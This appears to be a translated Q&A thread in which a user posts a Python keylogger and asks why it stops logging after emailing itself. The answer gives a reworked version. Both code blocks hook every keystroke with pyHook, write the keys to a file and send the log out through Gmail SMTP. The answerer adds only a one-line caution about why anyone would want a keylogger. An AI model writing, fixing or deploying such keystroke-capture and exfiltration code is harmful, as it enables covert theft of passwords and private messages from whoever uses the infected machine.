python之记录和清除文件

我正在研究简单的键盘记录器 -

import logging, sys, smtplib, pyHook, pythoncom, socket 
path = r"C:\Users\Karel\Desktop\log.txt" 
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s") 
server = smtplib.SMTP("smtp.gmail.com:587") 
server.starttls() 
server.login("xxx","xxx") 
 
def OnKeyboardEvent(event): 
 
    print "Key: ", chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    checklog() 
    return True 
 
def checklog(): 
    f = open(path, "r") 
    x = f.read() 
    if len(x) == 1000: 
        server.sendmail("xxx@gmail.com", "xxxn@gmail.com", x) 
        f.close() 
        f = open(path,"w") 
        f.close() 
 
 
 
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

它应该将日志保存到文件并在文件长度为 1000 时发送到电子邮件。然后清除日志，当长度为 1000 时再次将其邮寄等。但是此代码不起作用，文件以 1000 发送，已清除，但是不再登录。问题在哪里？谢谢

请您参考如下方法:

大致如下。不过，仔细想想你为什么想要一个键盘记录器。这是未经测试的。

from functools import partial 
import logging 
import logging.handlers 
import smtplib 
import pyHook 
import pythoncom 
 
 
class EmailingRotatingFileHandler(logging.handlers.RotatingFileHandler): 
    def __init__(self, smtp_credentials, **kargs): 
        self.smtp_credentials = smtp_credentials 
        super(EmailingRotatingFileHandler, self).__init__(**kargs) 
 
    def smtp_connect(self): 
        server = smtplib.SMTP("smtp.gmail.com:587") 
        server.starttls() 
        server.login("", "") 
        return server 
 
    def doRollover(self): 
        ## Close the stream 
        if self.stream: 
            self.stream.close() 
            self.stream = None 
 
        ## Email the file 
        server = self.smtp_connect() 
 
        with open(self.baseFilename, 'r') as logfile: 
            contents = logfile.read() 
            server.sendmail(self.smtp_credentials[0], self.smtp_credentials[1], contents) 
 
        server.quit() 
 
        ## Proceed with the rollover 
        super(EmailingRotatingFileHandler, self).doRollover() 
 
 
def OnKeyboardEvent(logger, event): 
    print "Key: ", chr(event.Ascii) 
    logger.info(chr(event.Ascii)) 
    return True 
 
 
def main(): 
    path = r"C:\Users\Karel\Desktop\log.txt" 
    smtp_credentials = ("", "") 
 
    ## Set up the logging 
    logger = logging.getLogger() 
    logger.setLevel(logging.INFO) 
    log_handler = EmailingRotatingFileHandler(smtp_credentials, path, maxBytes=1024) 
    formatter = logging.Formatter('%(message)s') 
    log_handler.setFormatter(formatter) 
    logger.addHandler(log_handler) 
 
    ## Configure the event handlers 
    hm = pyHook.HookManager() 
    hm.KeyDown = partial(OnKeyboardEvent, logger) 
    hm.HookKeyboard() 
    pythoncom.PumpMessages() 
 
 
if __name__ == '__main__': 
    main()